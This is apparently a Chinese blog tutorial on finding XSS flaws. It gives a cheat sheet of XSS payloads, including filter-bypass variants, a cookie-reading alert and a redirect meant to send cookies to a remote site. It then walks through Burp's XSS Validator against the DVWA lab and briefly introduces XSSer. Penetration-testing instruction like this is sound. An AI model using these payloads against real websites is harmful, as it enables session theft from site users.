XSS漏洞檢測手段

一、手工注入檢測

1.1 Cheat Sheet

整理的觸發XSS的測試用例清單列表

普通驗證payload

<script>alert(1)</script>		普通觸發

其它標籤payload

<img src="" onerror="alert(1)">		onerror事件觸發	
<iframe src=javascript:alert(1)>	iframe標籤
<svg><x><script>alert(1)</x>	svg標籤

簡單變形payload

'><script>alert(1)</script>
='><script>alert(1)</script>
a.jsp/<script>alert(1)</script>
<mArQuEe OnScRoLl=alert(1)>		跑馬燈法

簡單繞過payload

<sc<script>ript>alert(1)</sc</script>ript>	雙寫繞過
<sCrit>alert(1)</sCript>	大小寫繞過

當前頁面打cookie
(alert中字符替換成cookie即可:)

<script>alert(document.cookie)</script>

遠程站點打Cookie
(使用跳轉方式,將Cookie發送到遠程搭建的站點:)

<script type="text/javascript">window.location.href="http://test/123";</script>

二、自動化工具檢測

2.1 BurpSuite之XSS Validator

Tips:如果喜歡使用Burp的可以使用此工具,如果想使用XSS測試神兵可以優選XSSer!

2.1.1 運行原理

本地啓動Phantom(XSS-Detector服務器),監聽端口
服務器通過extender模塊傳遞經過base64編碼的頁面響應到XSS Validator選項卡,並複製Grep短語值
在Intruder模塊grep-match函數中輸入此值
匹配grep短語的有效載荷表示成功執行

2.1.2 插件安裝

》》啓動Burp,打開->Extender ->BApp Store 最下方的XSS Validator插件,右側有說明
在這裏插入圖片描述

2.1.3 phantomjs安裝

官網下載安裝:http://phantomjs.org/download.html
》》安裝完成如下顯示成功
在這裏插入圖片描述

Tips:不要忘記配置環境變量

2.1.4 下載xss.js

xss.js是phantomJS檢測XSS的具體實現
Github下載地址
在這裏插入圖片描述
》》下載完解壓到桌面xss.js在如下位置:
在這裏插入圖片描述

2.1.5 配置XSS Validator

Grep Phrase修改爲xss_result作爲檢測標誌
JavaScript function中只使用alert便於在控制檯觀察結果
在這裏插入圖片描述

2.1.6 配置Intruder模塊

加上剛纔的響應結果值
在這裏插入圖片描述

2.1.7 XSS漏洞檢測

這裏使用DVWA靶場的反射xss進行測試:

》》輸入123點擊提交
在這裏插入圖片描述
》》burp抓取數據包,併發送到Intruder,選定要爆破的參數:
在這裏插入圖片描述
》》設置Intruder的payload生成器爲XSS Validator
在這裏插入圖片描述
》》添加有效載荷的處理在這裏插入圖片描述

》》運行xss.js
在這裏插入圖片描述

》》開始測試
在這裏插入圖片描述
》》xss_result有對勾的便是存在漏洞的payload
在這裏插入圖片描述
》》任意選擇一個payload驗證漏洞是否存在(如下存在!)
在這裏插入圖片描述

2.1.8 工具優缺點

優點:

  • 測試方便,burp黨福利~
  • 工具實用,可以簡單的繞過一些限制(雙寫/大小寫等)

缺點

  • 配置麻煩些,payload少些

2.2 神器之XSSer

2.2.1 工具介紹

  一款開源、強大的XSS測試工具,自動化針對不同的應用程序檢測和利用XSS注入過程,可bypass某些過濾器和特殊的代碼注入技術。Kali中已集成

2.2.2 簡單使用

報錯解決

》》正常插入cookie對DVWA低級進行測試報如下錯誤:
在這裏插入圖片描述
》》在此目錄下運行
在這裏插入圖片描述
》》缺少BS模塊
在這裏插入圖片描述
》》安裝此模塊
在這裏插入圖片描述
》》仍舊失敗


更新

2.2.3 幫助中文手冊

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章